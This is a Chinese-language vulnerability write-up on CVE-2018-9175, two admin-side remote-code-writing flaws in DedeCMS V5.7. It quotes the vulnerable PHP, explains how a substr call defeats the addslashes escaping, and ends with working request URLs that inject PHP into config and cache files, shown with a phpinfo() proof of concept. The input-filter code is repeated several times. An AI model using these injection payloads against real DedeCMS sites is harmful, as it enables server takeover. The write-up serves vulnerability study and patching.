（CVE-2018-9175）Dedecms V5.7后台的两处getshell
===============================================

一、漏洞简介
------------

后台写配置文件过滤不足导致写shell。

二、漏洞影响
------------

三、复现过程
------------

### 漏洞代码分析

#### 第一个

在/dede/sys\_verifies.php中的第152行处

    else if ($action == 'getfiles')
    {
        if(!isset($refiles))
        {
            ShowMsg("你没进行任何操作！","sys_verifies.php");
            exit();
        }
        $cacheFiles = DEDEDATA.'/modifytmp.inc';
        $fp = fopen($cacheFiles, 'w');
        fwrite($fp, '<'.'?php'."\r\n");
        fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
        $dirs = array();
        $i = -1;
        $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
        foreach($refiles as $filename)
        {
            $filename = substr($filename,3,strlen($filename)-3);
            if(preg_match("#^dede/#i", $filename)) 
            {
                $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
            } else {
                $curdir = GetDirName($filename);
            }
            if( !isset($dirs[$curdir]) ) 
            {
                $dirs[$curdir] = TestIsFileDir($curdir);
            }
            $i++;
            fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
        }
        fwrite($fp, '$fileConut = '.$i.';'."\r\n");
        fwrite($fp, '?'.'>');
        fclose($fp);
    可以看到，这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。

    dedecms对于输入是全局过滤的，在/common.inc.php中注册并过滤了外部提交的变量

    function _RunMagicQuotes(&$svar)
    {
        if(!get_magic_quotes_gpc())
        {
            if( is_array($svar) )
            {
                foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
            }
            else
            {
                if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                {
                  exit('Request var not allow!');
                }
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }

    if (!defined('DEDEREQUEST'))
    {
        //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
        function CheckRequest(&$val) {
            if (is_array($val)) {
                foreach ($val as $_k=>$_v) {
                    if($_k == 'nvarname') continue;
                    CheckRequest($_k);
                    CheckRequest($val[$_k]);
                }
            } else
            {
                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                {
                    exit('Request var not allow!');
                }
            }
        }

        //var_dump($_REQUEST);exit;
        CheckRequest($_REQUEST);
        CheckRequest($_COOKIE);

        foreach(Array('_GET','_POST','_COOKIE') as $_request)
        {
            foreach($$_request as $_k => $_v)
            {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
            }
        }
    }

    function _RunMagicQuotes(&$svar)
    {
        if(!get_magic_quotes_gpc())
        {
            if( is_array($svar) )
            {
                foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
            }
            else
            {
                if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                {
                  exit('Request var not allow!');
                }
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }
     
    if (!defined('DEDEREQUEST'))
    {
        //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
        function CheckRequest(&$val) {
            if (is_array($val)) {
                foreach ($val as $_k=>$_v) {
                    if($_k == 'nvarname') continue;
                    CheckRequest($_k);
                    CheckRequest($val[$_k]);
                }
            } else
            {
                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                {
                    exit('Request var not allow!');
                }
            }
        }
     
        //var_dump($_REQUEST);exit;
        CheckRequest($_REQUEST);
        CheckRequest($_COOKIE);
     
        foreach(Array('_GET','_POST','_COOKIE') as $_request)
        {
            foreach($$_request as $_k => $_v)
            {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
            }
        }
    }

可以看到，这里会将\$refiles数组中的内容写入配置文件modifytmp.inc中。

dedecms对于输入是全局过滤的，在/common.inc.php中注册并过滤了外部提交的变量

    function _RunMagicQuotes(&$svar)
    {
        if(!get_magic_quotes_gpc())
        {
            if( is_array($svar) )
            {
                foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
            }
            else
            {
                if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                {
                  exit('Request var not allow!');
                }
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }
     
    if (!defined('DEDEREQUEST'))
    {
        //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
        function CheckRequest(&$val) {
            if (is_array($val)) {
                foreach ($val as $_k=>$_v) {
                    if($_k == 'nvarname') continue;
                    CheckRequest($_k);
                    CheckRequest($val[$_k]);
                }
            } else
            {
                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                {
                    exit('Request var not allow!');
                }
            }
        }
     
        //var_dump($_REQUEST);exit;
        CheckRequest($_REQUEST);
        CheckRequest($_COOKIE);
     
        foreach(Array('_GET','_POST','_COOKIE') as $_request)
        {
            foreach($$_request as $_k => $_v)
            {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
            }
        }
    }

上面的\$refiles就是注册的外部变量，可见已经addlashes了而我们还是需要绕过fwrite(\$fp,
\'\$files\[\'.\$i.\'\] = \"\'.\$filename.\'\";\'.\"\\r\\n\");
实现注入shell，首先需要注入就必须闭合双引号，在这里有个诡异的操作

    $filename = substr($filename,3,strlen($filename)-3);

去掉了输入的前三个字符，这样就为我们写shell制造了机会，当我们输入\"
时经过addlashes会变成\\\"，再去掉前三个字符就只剩下双引号实现闭合。

此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了，全局搜索一下可以发现就在本文件/dede/sys\_verifies.php

#### 第二个

同样是写配置文件，位于/dede/sys\_cache\_up.php

    else if($step == 2)
    {
        include_once(DEDEINC."/enums.func.php");
        WriteEnumsCache();
        //WriteAreaCache(); 已过期
        ShowMsg("成功更新枚举缓存，准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
        exit();
    }

跟进WriteEnumsCache()

    function WriteEnumsCache($egroup='')
    {
        global $dsql;
        $egroups = array();
        if($egroup=='') {
            $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
        }
        else {
            $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
        }
        $dsql->Execute('enum');
        while($nrow = $dsql->GetArray('enum')) {
            $egroups[] = $nrow['egroup'];
        }
        foreach($egroups as $egroup)
        {
            $cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
            $fp = fopen($cachefile,'w');
            fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
            $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");
            $dsql->Execute('enum');
            $issign = -1;
            $tenum = false; //三级联动标识
            while($nrow = $dsql->GetArray('enum'))
            {
                fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
                if($issign==-1) $issign = $nrow['issign'];
                if($nrow['issign']==2) $tenum = true;
            }
            if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
            fwrite($fp,'?'.'>');
            fclose($fp);
            if(empty($issign)) WriteEnumsJs($egroup);
        }
        return '成功更新所有枚举缓存！';
    }

可以看到，直接从数据库中读取并写入php文件中，从数据库中取出后并没有经过过滤。

将shell写进数据库中

    http://0-sec.org/dede/stepselect_main.php?action=addenum_save&ename=123&egroup=;phpinfo();//&islogin=1

![](./resource/(CVE-2018-9175)DedecmsV5.7后台的两处getshell/media/rId27.png)

### 复现

因为包含是在同一个文件，所以直接输入

    http://0-sec.org/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//

![](./resource/(CVE-2018-9175)DedecmsV5.7后台的两处getshell/media/rId29.png)
